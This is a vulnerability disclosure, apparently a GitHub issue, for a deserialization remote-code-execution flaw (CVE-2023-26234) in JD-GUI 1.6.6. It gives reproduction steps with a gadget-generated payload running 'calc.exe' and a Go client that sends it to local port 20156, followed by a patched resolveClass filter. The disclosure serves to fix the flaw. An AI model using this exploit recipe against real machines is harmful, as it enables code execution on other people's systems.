Headline
CVE-2023-26234: [Security] RCE Vulnerability in JD-GUI · Issue #415 · java-decompiler/jd-gui
JD-GUI 1.6.6 allows deserialization via UIMainWindowPreferencesProvider.singleInstance.
RCE Vulnerability in JD-GUI
Description: When user open UIMainWindowPreferencesProvider.singleInstance config and use JDK 8u20/7u21, there will be an RCE vulnerability through deserialization on port 20156.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H (Moderate 6.6)
How to reproduce:
(1) Use single instance config in jd-gui.cfg
<preferences> <JdGuiPreferences.errorBackgroundColor>0xFF6666</JdGuiPreferences.errorBackgroundColor> <JdGuiPreferences.jdCoreVersion>1.1.3</JdGuiPreferences.jdCoreVersion> <UIMainWindowPreferencesProvider.singleInstance>true</UIMainWindowPreferencesProvider.singleInstance> </preferences>
(2) Start jd-gui using JDK 8u20
“C:\Program Files\Java\jdk1.8.0_20\bin\java.exe” -jar jd-gui-1.6.6.jar
(3) Make JDK 8u20 payload
https://github.com/pwntester/JRE8u20_RCE_Gadget
Modify the cmd in ExploitGenerator#main
String command = "calc.exe";
Run ExploitGenerator#main to generate payload (exploit.ser)
(4) Send binary data to 20156 port
package main
import ( “fmt” “net” “os” )
func main() { payload, _ := os.ReadFile(“exploit.ser”) conn, err := net.Dial("tcp", “127.0.0.1:20156”) _, err = conn.Write(payload) buf := make([]byte, 1024*10) _, err = conn.Read(buf) if err != nil { fmt.Println(err) } }
(5) RCE
Screenshot:
(6) Fix
Use resolveClass method, only support String[]
/* * Copyright © 2008-2019 Emmanuel Dupuy. * This project is distributed under the GPLv3 license. * This is a Copyleft license that gives the user the right to use, * copy and modify the code freely for non-commercial purposes. */
package org.jd.gui.util.net;
import org.jd.gui.util.exception.ExceptionUtil;
import java.io.*; import java.net.InetAddress; import java.net.ServerSocket; import java.net.Socket; import java.util.function.Consumer;
public class InterProcessCommunicationUtil {
static class FilterObjectInputStream extends ObjectInputStream {
public FilterObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(final ObjectStreamClass classDesc) throws IOException, ClassNotFoundException {
if (classDesc.getName().equals("\[Ljava.lang.String;")) {
return super.resolveClass(classDesc);
}
throw new RuntimeException(String.format("not support class: %s",classDesc.getName()));
}
}
protected static final int PORT = 2015\_6;
public static void listen(final Consumer<String\[\]> consumer) throws Exception {
final ServerSocket listener = new ServerSocket(PORT);
Runnable runnable = new Runnable() {
@Override
public void run() {
while (true) {
try (Socket socket = listener.accept();
ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream())) {
// Receive args from another JD-GUI instance
String\[\] args = (String\[\])ois.readObject();
consumer.accept(args);
} catch (IOException|ClassNotFoundException e) {
assert ExceptionUtil.printStackTrace(e);
}
}
}
};
new Thread(runnable).start();
}
public static void send(String\[\] args) {
try (Socket socket = new Socket(InetAddress.getLocalHost(), PORT);
ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream())) {
// Send args to the main JD-GUI instance
oos.writeObject(args);
} catch (IOException e) {
assert ExceptionUtil.printStackTrace(e);
}
}
}
Screenshot: